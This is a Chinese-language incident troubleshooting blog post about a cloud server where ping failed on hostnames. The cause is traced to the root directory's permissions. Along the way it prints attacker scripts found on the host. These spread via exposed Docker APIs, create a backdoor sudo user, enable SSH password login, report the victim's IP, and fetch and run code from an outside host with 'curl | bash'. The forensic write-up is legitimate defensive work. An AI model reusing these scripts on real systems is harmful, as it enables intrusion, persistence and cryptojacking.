雲計算

記一次吐血的ping: unknown host

2020-03-31

作者：牧原

背景

某客戶的ECS，ping域名提示unknown host，ping ip則可以通，ping的時候抓包沒有解析的包出去，是解析的問題嗎？

1.測試ping域名以及抓包發現沒有dns的解析包出去

# ping www.baidu.com -c 1
ping: unknown host www.baidu.com
# tcpdump -i any port 53 -nnvv
tcpdump: listening on any, link-type LINUX_SLL (Linux cooked), capture size 65535 bytes

2.測試ping ip dig getent等工作正常

# ping -c 1 115.239.210.27
PING 115.239.210.27 (115.239.210.27) 56(84) bytes of data.
64 bytes from 115.239.210.27: icmp_seq=1 ttl=55 time=1.87 ms

--- 115.239.210.27 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.875/1.875/1.875/0.000 ms
# getent hosts www.baidu.com
115.239.211.112 www.a.shifen.com www.baidu.com
115.239.210.27  www.a.shifen.com www.baidu.com
# dig www.baidu.com +short
www.a.shifen.com.
115.239.210.27
115.239.211.112

3.通過上述的測試可以確定，並非dns工作出現了問題，而是ping本身出現了問題

image.png

4.通過strace跟蹤看下ping命令在運行的過程中加載文件是否有問題？

# strace -e open ping www.baidu.com
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
open("/lib64/libcap.so.2", O_RDONLY|O_CLOEXEC) = 3
open("/lib64/libidn.so.11", O_RDONLY|O_CLOEXEC) = 3
open("/lib64/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
open("/lib64/libattr.so.1", O_RDONLY|O_CLOEXEC) = 3
......
open("/etc/resolv.conf", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/etc/nsswitch.conf", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/lib64/tls/x86_64/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/lib64/tls/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/lib64/x86_64/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/lib64/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/usr/lib64/tls/x86_64/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/usr/lib64/tls/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/usr/lib64/x86_64/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
open("/usr/lib64/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied)
ping: unknown host www.baidu.com
+++ exited with 2 +++
正常的對比(版本不同有差異)
# strace -e open ping -c 1 www.baidu.com
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
open("/lib64/libcap.so.2", O_RDONLY|O_CLOEXEC) = 3
open("/lib64/libidn.so.11", O_RDONLY|O_CLOEXEC) = 3
open("/lib64/libcrypto.so.10", O_RDONLY|O_CLOEXEC) = 3
open("/lib64/libresolv.so.2", O_RDONLY|O_CLOEXEC) = 3
open("/lib64/libm.so.6", O_RDONLY|O_CLOEXEC) = 3
.......

5.提取所有的Permission denied的文件，查看權限（被我精簡了一些）

# strace -e open -o p.out ping www.baidu.com |grep -i "Permission denied" p.out| awk -F "\\\"" '{print $2}'|xargs stat
  File: ‘/usr/lib/locale/locale-archive’
  Size: 106065056     Blocks: 207096     IO Block: 4096   regular file
Device: fd01h/64769d    Inode: 132883      Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2019-05-10 21:46:34.523000000 +0800
Modify: 2015-07-13 15:21:14.804155630 +0800
Change: 2015-07-13 15:21:14.804155630 +0800
 Birth: -
  File: ‘/usr/share/locale/locale.alias’
  Size: 2502          Blocks: 8          IO Block: 4096   regular file
Device: fd01h/64769d    Inode: 132816      Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2019-05-10 21:48:09.380738442 +0800
Modify: 2015-03-06 05:18:56.000000000 +0800
Change: 2015-07-13 15:21:09.324089405 +0800
 Birth: -
  File: ‘/usr/lib64/gconv/gconv-modules.cache’
  Size: 26254         Blocks: 56         IO Block: 4096   regular file
Device: fd01h/64769d    Inode: 394951      Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2019-05-10 21:46:34.878000000 +0800
Modify: 2015-07-13 15:21:15.860168393 +0800
Change: 2015-07-13 15:21:15.860168393 +0800
 Birth: -
  File: ‘/usr/lib64/gconv/gconv-modules’
  Size: 56377         Blocks: 112        IO Block: 4096   regular file
Device: fd01h/64769d    Inode: 394941      Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2015-07-13 15:21:15.857168356 +0800
Modify: 2015-03-06 05:18:55.000000000 +0800
Change: 2015-07-13 15:21:15.510164163 +0800
 Birth: -
  File: ‘/etc/resolv.conf’
  Size: 109           Blocks: 8          IO Block: 4096   regular file
Device: fd01h/64769d    Inode: 660033      Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2019-05-10 21:50:51.650325504 +0800
Modify: 2019-05-10 21:47:49.650000000 +0800
Change: 2019-05-10 21:47:49.650000000 +0800
 Birth: -
  File: ‘/etc/nsswitch.conf’
  Size: 1728          Blocks: 8          IO Block: 4096   regular file
Device: fd01h/64769d    Inode: 658832      Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2019-05-10 21:47:44.965000000 +0800
Modify: 2015-07-13 15:21:28.905326045 +0800
Change: 2015-07-13 15:21:28.905326045 +0800
 Birth: -
  File: ‘/etc/ld.so.cache’
  Size: 44226         Blocks: 88         IO Block: 4096   regular file
Device: fd01h/64769d    Inode: 658829      Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2019-05-10 21:46:33.738000000 +0800
Modify: 2019-03-22 00:16:26.262531411 +0800
Change: 2019-03-22 00:16:26.262531411 +0800
 Birth: -
  File: ‘/lib64/libnss_dns.so.2’ -> ‘libnss_dns-2.17.so’
  Size: 18            Blocks: 0          IO Block: 4096   symbolic link
Device: fd01h/64769d    Inode: 151673      Links: 1
Access: (0777/lrwxrwxrwx)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2019-05-10 21:47:09.952000000 +0800
Modify: 2015-07-13 15:21:15.089159075 +0800
Change: 2015-07-13 15:21:15.089159075 +0800
 Birth: -
  File: ‘/usr/lib64/libnss_dns.so.2’ -> ‘libnss_dns-2.17.so’
  Size: 18            Blocks: 0          IO Block: 4096   symbolic link
Device: fd01h/64769d    Inode: 151673      Links: 1
Access: (0777/lrwxrwxrwx)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2019-05-10 21:47:09.952000000 +0800
Modify: 2015-07-13 15:21:15.089159075 +0800
Change: 2015-07-13 15:21:15.089159075 +0800
 Birth: -

6.對比文件權限也沒有發現明顯的異常，我不禁有點麻爪，陷入深深的思考中

image.png

7.嘗試往被黑的方向排查 ，校驗rpm包，替換ping命令，以及檢查入侵痕跡

 #  for i in $(rpm -qa);do rpm --verify $i ||echo $i ;done|grep bin |grep -v "node_modules"
S.5......    /usr/bin/git
S.5......    /usr/bin/git-receive-pack
S.5......    /usr/bin/git-shell
S.5......    /usr/bin/git-upload-archive
S.5......    /usr/bin/git-upload-pack
# lsmod
Module                  Size  Used by
tcp_diag               12591  0
inet_diag              18543  1 tcp_diag
dm_mirror              22135  0
......
ata_piix               35038  0
i2c_core               40325  3 drm,i2c_piix4,drm_kms_helper
libata                218854  3 pata_acpi,ata_generic,ata_piix

命令，進程，module都沒有明顯異常

image.pngimage.png

8.重新回到問題本身，權限訪問有問題，因此到根目錄下，挨個看權限

# ls -l
total 136
-rwxrwxrwx    1 root root  1963 Feb 27 03:38 autom.sh
lrwxrwxrwx.   1 root root     7 Nov 21  2014 bin -> usr/bin
dr-xr-xr-x.   4 root root  4096 May 10 21:47 boot
drwxr-xr-x   19 root root  3040 May 10 21:50 dev
drwxr-xr-x. 102 root root 12288 May 10 21:50 etc
drwxr-xr-x.   8 root root  4096 Mar 22 00:15 home
lrwxrwxrwx.   1 root root     7 Nov 21  2014 lib -> usr/lib
lrwxrwxrwx.   1 root root     9 Nov 21  2014 lib64 -> usr/lib64
drwxrwxrwx    2 root root  4096 Jan 29 17:57 logs
drwx------.   2 root root 16384 Nov 22  2014 lost+found
drwxr-xr-x.   2 root root  4096 Jun 10  2014 media
drwxr-xr-x.   3 root root  4096 Oct 23  2015 mnt
lrwxrwxrwx    1 root root     9 Oct 23  2015 opt -> /mnt/opt/
drwxrwxr-x    3 root root  4096 Oct  9  2018 path
dr-xr-xr-x   93 root root     0 May 10 21:50 proc
dr-xr-x---.  30 root root  4096 May 10 23:36 root
drwxr-xr-x   30 root root   840 May 10 21:51 run
lrwxrwxrwx.   1 root root     8 Nov 21  2014 sbin -> usr/sbin
drwxrwxr-x    6 root root  4096 Jan 29 17:54 shell
drwxrwxr-x    7 root root  4096 Jan 29 20:20 springbootdemo2
drwxr-xr-x.   2 root root  4096 Jun 10  2014 srv
dr-xr-xr-x   13 root root     0 May 11  2019 sys
-rwxrwxrwx    1 root root   356 Nov  1  2018 test1.sh
-rwxrwxrwx    1 root root   127 Nov  1  2018 test2.sh
drwxrwxrwt.  26 root root 40960 May 11 00:10 tmp
drwxrwxr-x    3 root root  4096 Dec 22 14:48 Users
drwxr-xr-x.  14 root root  4096 Aug  6  2018 usr
drwxr-xr-x.  23 root root  4096 May  6 11:31 var

9.對比權限沒有發現問題，發現了幾個腳本，看看腳本是做什麼的

# cat test1.sh test2.sh
#!/bin/bash
sed -i 's/\r//g' $1
sed -i '/::/g' $1
while read HOSTLINE
do
echo NOW WORKING ON $HOSTLINE
docker -H tcp://$HOSTLINE run --rm -v /:/mnt alpine chroot /mnt /bin/sh -c "yum install wget -y;apt-get install wget -y;wget http://51.*.*.146/autom.sh -O /autom.sh;chmod 777 /autom.sh;sh /autom.sh"
echo DONE WITH $HOSTLINE
sed -i '1d' $1
done <$1
-----------------
#!/bin/bash
sed -i 's/\r//g' $1
sed -i '/::/g' $1
while read HOSTLINE
do
sh test1.sh $1 & sleep 7; sed -i '1d' $1;
done <$1
-----------------
# cat autom.sh
#!/bin/sh
useradd -m -p '$1$tVoMAZYE$s5CynwZ4QuboPD2qVQ0h9/' akay
adduser -m -p '$1$tVoMAZYE$s5CynwZ4QuboPD2qVQ0h9/' akay
usermod -aG sudoers akay;
usermod -aG root akay;
sudo adduser akay sudo;
echo 'akay  ALL=(ALL:ALL) ALL' >> /etc/sudoers;
sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/g' /etc/ssh/sshd_config;
curl icanhazip.com >/tmp/myip.txt
ip=$(cat /tmp/myip.txt)
curl http://51.*.*.146/ip.php?ip=$ip
/etc/init.d/ssh restart;
/etc/init.d/sshd restart;
/etc/rc.d/sshd restart;
systemctl restart sshd;
systemctl restart ssh;
apt-get install screen -y
yum install screen -y
if [ $(dpkg-query -W -f='${Status}' systemd 2>/dev/null | grep -c "ok installed") -eq 0 ];
then
  apt-get install systemd -y;
  yum install systemd -y;
fi;
if [ $(dpkg-query -W -f='${Status}' masscan 2>/dev/null | grep -c "ok installed") -eq 0 ];
then
  apt-get install masscan -y;
  yum install masscan -y;
fi;
if [ $(dpkg-query -W -f='${Status}' iproute2 2>/dev/null | grep -c "ok installed") -eq 0 ];
then
  apt-get install iproute2 -y;
  yum install iproute2 -y;
fi;
curl -s http://51.*.*.146/logo9.jpg | bash -s
wget http://51.*.*.146/test1.sh -O test1.sh;
wget http://51.*.*.146/test2.sh -O test2.sh;
#wget http://51.*.*.146/scanner.sh -O scanner.sh;
sleep 2s;
chmod 777 test1.sh;
chmod 777 test2.sh;
sleep 2s;
killall xmrig;
killall xm;
killall proc;
killall minergate-cli;
killall xmr-stak;
pkill -f xmrig;
pkill -f xmr-stak;
pkill -f xm;
kill -9 xmrig;
kill -9 xmr-stak;
kill -a xmrig;
kill -a xmr-stak;
kill -a xm;
sudo killall minergate-cli;
sudo kill -9 minergate-cli;
sudo pkill -f minergate-cli;
sudo killall proc;
sudo kill -9 proc;
sudo pkill -f proc;
sudo killall xmrig;
sudo killall xmr-stak;
sudo pkill -f xmrig;
sudo pkill -f xmr-stak;
sudo kill -9 xmrig;
sudo kill -9 xmr-stak;
sudo kill -a xmrig;
sudo kill -a xmr-stak;
systemctl daemon-reload;
systemctl stop bashd.service;
systemctl disable bashd.service;
#sudo sh scanner.sh &

10.原來真的被黑了，建議客戶購買安全應急服務期間，抱著研究的目的繼續看ping的問題

image.png

11.靈光一閃，根目錄自身是什麼權限？（不用糾結時間，為了寫這篇文章我重新做了很多測試）

有問題的機器
# ls -ld /
dr--------. 22 root root 4096 May 10 21:47 /
正常的機器
# ls -ld /
dr-xr-xr-x. 19 root root 4096 Apr 30 17:33 /
# chmod 555 /
# ping -c 2 www.baidu.com
PING www.a.shifen.com (115.239.210.27) 56(84) bytes of data.
64 bytes from 115.239.210.27: icmp_seq=1 ttl=55 time=1.84 ms
64 bytes from 115.239.210.27: icmp_seq=2 ttl=55 time=1.86 ms

--- www.a.shifen.com ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 1.842/1.854/1.866/0.012 ms

大功告成~！image.png

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